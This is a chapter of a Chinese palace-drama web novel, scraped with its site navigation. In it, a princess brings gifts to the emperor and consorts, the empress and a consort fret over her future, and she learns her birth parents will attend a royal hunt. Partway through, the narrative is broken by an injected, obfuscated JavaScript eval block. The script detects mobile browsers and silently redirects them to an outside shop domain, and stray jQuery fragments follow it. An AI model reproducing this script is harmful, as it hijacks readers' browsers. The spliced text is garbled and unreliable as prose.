默认冷灰
24号文字
方正启体

20. 臣妾要把山头搬进宫

作者:宵夜糖糖本书字数:K更新时间:
    下午,天还没完全黑,公主就拎着大包小包回来了。


    她本来想让太子哥哥带她去逛逛夜市的,但太子哥哥说,宫门关得早,要是回去晚了,怕父皇会不高兴,母后也会担心。


    她和几个宫女分头行动,去各个宫里问母妃们好,顺便把她们都叫到母后这里,她要给大家分点心和肘子。


    玉妃娘娘从前挂在嘴上的几家铺子,秦舒蕊全都跑了一遍,全给带回来了。


    皇后轻轻摸了一下她头上的蜻蜓和竹叶。


    秦舒蕊道:“这是太子哥哥给我买的,我进了首饰铺子,觉着什么都好看,许多花样都是宫里没有的,简单别致,我一个个拿起来瞧,太子哥哥就每样都给我买。”


    “是好看。”玉妃也凑过来看她的头,忍俊不禁,“这么多珠花,也没说拿个什么东西装起来,就这么全戴在头上,叮叮当当的,也不嫌繁琐。”


    敬妃道:“这个蜻蜓蝴蝶倒还罢了,这个竹叶和葫芦当真是漂亮,还有这个山雀。”


    沈昭仪忙着把公主带回来的各种包裹打开,她开了五个,正准备去开第六个第七个的时候,秦舒蕊连忙道:“诶,这两个不行,这个是给惠母妃的,这个是给父皇的。”


    她见众人惊讶,解释起来,道:“我马上要去春蒐,要劳烦惠母妃照顾,理应给她买的。今日能出宫多亏父皇开恩,我也该去感谢父皇。”


    她说完,转头看向皇后,道:“母后,你若是有空,可否带我去见见父皇?”


    皇后如梦初醒,笑了笑,道:“这不难,你想见,今日就能见,难得的是你这份心,陛下一定会高兴的。”


    宫外的吃食新鲜,却不如宫里的名贵、美味。


    几位母妃爱吃,陛下却不一定爱吃。


    秦舒蕊纠结了很久,到底是买玉,还是买点心。


    太子哥哥说,买点心吧,陛下富有四海,他库房里的玉多得是,而且绝对比那些铺子里的珍贵。


    但是点心,是你为他尝过的,是你觉得好吃,想到他了,难得的是这份心,陛下听了,会高兴的。


    陛下正在御书房批阅奏折,听闻皇后带着公主来了,有些犹豫,但还是见了。


    他向来是知道皇后的,无事不登三宝殿,每次求见,不是求这个,就是要那个,要么是为了公主,要么是为了后妃,要么就是为了太子。


    年轻的时候,还会因为单纯关心他的身体,大半夜跑来劝他休息,现在,他和皇后之间,除了后宫琐事,再无其他。


    他叹了口气,喃喃道:“人老了,情意都消散了。”


    “父皇。”秦舒蕊清脆的声音响起,她行了个礼,面上带着笑容。


    陛下睁开眼,扫了她一眼,没有站起来,也不如前几天慈祥,“蕊蕊来了。”


    “父皇可是累了?”秦舒蕊有些惧怕他的严肃,但并未退缩,提着手里的东西上前去,“父皇不要连着批那么久的折子,会累坏身体的。”


    她从来没有像现在这样自然、主动地亲近过父皇,一时间,有些不习惯。


    可她在努力,努力不让自己的脚往后退一步,坚定地站到他身边,认真地笑着。


    陛下摸了摸她的头,“找父皇什么事啊?”


    秦舒蕊将手中的油纸包放到桌子上,道:“蕊蕊今天玩得很开心,特意来谢谢父皇,女儿估摸着,父皇这个时间点应该是没睡的,就央着母后带女儿来了。”


    她打开油纸,道:“女儿从前就听玉母妃说,永棠铺子的点心好吃,今日难得出宫,特去尝了,果真好吃,和宫里的味道不一样,女儿就想多买些,让父皇和母后、母妃们也尝尝。”


    陛下面上逐渐有了笑容,他捏了捏秦舒蕊的肩膀,欣慰道:“蕊儿长大了,知道心疼父皇母后了。”


    “女儿一直都知道父皇对女儿好。”秦舒蕊道,“每次年节送给女儿的簪子,都是女儿平日里见也见不到的珍贵。只是女儿觉着,我不仅是父皇的女儿,也是父皇的臣子,做臣子的,要敬重父皇,要谨言慎行,所以总守着规矩,女儿嘴笨,不知道什么话是守规矩的,什么话是不守规矩的,所以就不说、少说。”


    陛下的神情变得柔和许多,他拍拍她的手,用柔和的语气,说道:“蕊蕊光想着守臣子的本分,却忘了做女儿,做女儿的,自然是能向父皇撒娇的,没有什么该不该说的,就算是说了些昏话,也没什么,朕是蕊儿的父亲,做父亲的,是盼着儿女亲近的。”


    “是,父皇这么说,女儿记下了。”她上前,搂住陛下的脖子,“女儿以后不会再装着守规矩了,端庄只在外人面前装,对着父皇,女儿就说真心话。”


    父女两个说了好一会儿话,皇后带着公主回去的时候,月亮都挂在天上了。


    沈昭仪还没回去,在皇后宫里和自己下棋玩。


    她嘱咐宫女不要跟皇后娘娘说,她要吓皇后娘娘一跳。


    于是,她上了皇后娘娘的床,拉上帷幔,裹着被子躺下,只等娘娘沐浴完、换了寝衣,上床拉被子的时候,才发现床上躺了个人。


    她先是吓得往后一缩,随后立刻反应过来,掀开被子,道:“真是,瞎闹,幸好本宫一眼认出了你,否则就要喊人了。”


    沈昭仪笑着坐起来,道:“臣妾累了,不想出去吹风,皇后娘娘怕冷,春天了还烧着炭盆,臣妾就厚着脸皮,在这睡上一晚了。”


    皇后道:“虽是春天,风还是很大,妹妹也要注意保暖,不然老了就像本宫一样,一冷就这疼那疼的。”


    两个人随便聊了几句,都有些困了,不自觉闭上眼睛。


    沈昭仪突然道:“娘娘,你说,陛下以后会让公主嫁给自己想嫁的人吗?”


    皇后睡得迷迷糊糊的,突然被这句话叫醒了。


    她一直都在害怕这件事情,平日里尽量不去想,她一想,心口就疼得厉害。


    她不是没有仔细想过,可想过了,又能怎么样呢,她前前后后、左左右右都想了,什么解决办法都没想到。


    她的命运、公主的命运,都在陛下的一念之间。


    她能如何反抗呢。


    她摇摇头,没回答。


    沈昭仪又道:“倘若……倘若陛下驾崩了,太子殿下登基,娘娘觉得,太子殿下会对公主好吗?”


    皇后转过身来,看着她,道:“你老胡说些什么。”


    沈昭仪没有住嘴,继续说道:“倘若公主想一辈子不嫁人,一辈子待在宫里,臣妾想,殿下是会答应的。可如果公主想一人一骑,浪迹天涯,殿下会应吗?倘若符国造反了,殿下会杀了公主祭旗吗?”


    皇后不知道,她信任政儿的人品,但她不想用蕊儿的前程去赌。


    沈昭仪道:“娘娘,公主为我们谋划了,我们是否也该为公主谋划?”


    “如何谋划?”皇后脱口而出道,“你我若是能考女官,能做丞相,能参与政事,不需你开口,我自当为蕊儿谋划,就算是背上砍头的风险,我也不惜什么,可如今,我们身在后宫中,就算想跳山头,也没有山头让我们跳。”


    沈昭仪道:“倘若有山头,娘娘愿意陪着臣妾跳吗?”


    皇后道:“倘若跳下去能让蕊儿好,我定然跳。”


    沈昭仪翻了个身,半开玩笑半认真地道:“有娘娘这句话,臣妾搬也要把山头搬过来。”


    公主一连好几天,都往御书房跑,去给父皇请安。


    她从陛下那里,拿到了除了首饰之外的其它赏赐。


    她很讨巧,她不是父皇亲生,也不如兄长们读书多,但她敢往陛下怀里扑,敢拉着陛下的袖子撒娇,央着父皇给她讲书,催着父皇去休息。


    她惯会察言观色,所有的放肆都是点到为止,做好一个女儿,也做好一个臣子。


    她突然理解,为什么母后每次跟陛下说完话都那么累,为什么张母妃明明靠在陛下身上撒娇,看上去总是想说什么就说什么的样子,可陛下走后,还是累得


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17040891|193725||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    恨不得倒头就睡。


    因为陛下身边的人,总是时刻紧绷着,张母妃的“活泼”和母后的“沉稳”一样,都是刻意装出来的,目的都是为了讨陛下欢心。


    太累了。


    可她愿意这么累着,她希望,有一天,她说的话能在父皇心里有分量,她希望,有一天,她不需要再靠母亲们庇护,她也可以庇护母亲们。


    才几天,公主阁的东西都快堆不下了。


    盼儿出入公主阁,每次都要摸一下陛下赏的那个花瓶,她很喜欢那个花瓶的样式,不知道为什么,她看公主独自待在公主阁的时候,总是板着脸。


    她打趣公主,道:“有这么多好东西还不高兴呀,公主莫不是想要天上的星星。”


    公主就扯一下嘴唇,回道:“没有不高兴,我不笑的时候可能比较严肃吧。父皇这么喜欢我,我可高兴了呢。”


    终于,到了去围场的日子,母后给她收拾行装的时候,一遍遍叮嘱,到了那边,要听惠母妃的话,天冷了自己记得加衣服,惠母妃少跟公主相处,可能没那么细心,如果需要什么,要说,别不好意思。


    秦舒蕊往日会嫌烦,但今日没有,她仔仔细细地听,每一句都应下。


    “第一次要离开母后那么久……”她有点害怕,但是不想表现出来,怕母后担心,“我会想念母后的。不过也没关系,一个月后就回来了,如果我能到处走动的话,就给母后带东西。”


    “这是小事。”皇后拍着她的手,道,“倘若父皇不让,你就别到处乱跑,惹恼了你父皇,可没有好果子吃。”


    “女儿知道。”秦舒蕊道,“母后说的,我都记下了。”


    皇后抿了下唇,停顿良久,道:“还有件事,母后要跟你说。”


    “什么?”秦舒蕊看她神色沉重,心下一紧。


    皇后道:“你父皇会在围场接见符国国主,国母大概也会跟着去,就是你……亲生父母。”


    秦舒蕊愣住,心口像是有一个小锤子在不停地敲、敲、敲,不疼,但很激烈。


    皇后摸了摸她的脸,道:“你父皇可能不会让你见他们,也可能会,如果你父皇没说让你见,你也别去求他,别惹他生气,你就远远地、偷偷地,看上那么一眼。”


    她感觉自己脸湿湿的,但她没想哭。


    她蹭掉眼泪,带着哭腔“嗯”了一声,低下头去,不停地用袖子拭泪。


    她没有见过亲生父母,她觉着自己对亲生父母也不会有多么强烈的感情,毕竟没有吃过他们一口饭,没有在他们身边养过一天,她连父母长什么样子都不知道。怎么会哭呢,怎么会难过呢。


    可她就是哭了,就是难过了。


    皇后看着她哭,也想随她一起哭,她抿了抿嘴,忍住了,继续说道:“别惹你父皇生气,这是大事,倘若他不愿意,你一定不要开口提,知道吗?”


    “嗯……”公主连连点头,“我知道的,母后放心,我不会提的,父皇不说,我就不说。如果、如果没有机会相见,女儿就不见,如果连远远看一眼的机会也没有,那、那……那女儿就不看了,女儿就躲在帐篷里。”


    皇后抱住她,摩挲着她的背。


    她原是不想说的,如果陛下不想让公主见,可能都不会通知公主,公主根本不会知晓这件事,不会知晓,就不会伤心。


    可她又觉得,应该说。


    她也是做母亲的,她知道骨肉分离的痛,没有一个母亲,不希望儿女记住自己的样貌。


    就让她的女儿远远看她一眼吧。


    就看一眼,就一眼。


    记住父母的样貌,是秦舒蕊这辈子唯一能为亲生父母做到的事情。


    也是皇后唯一能为符国国母做到的事情。


    “好了,好了,不哭了。”皇后抽出帕子,给她擦眼泪,“你休息片刻,调整一下情绪,等下去给你惠母妃请个安。”


    “嗯。”秦舒蕊点头,“好,女儿等下就去。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)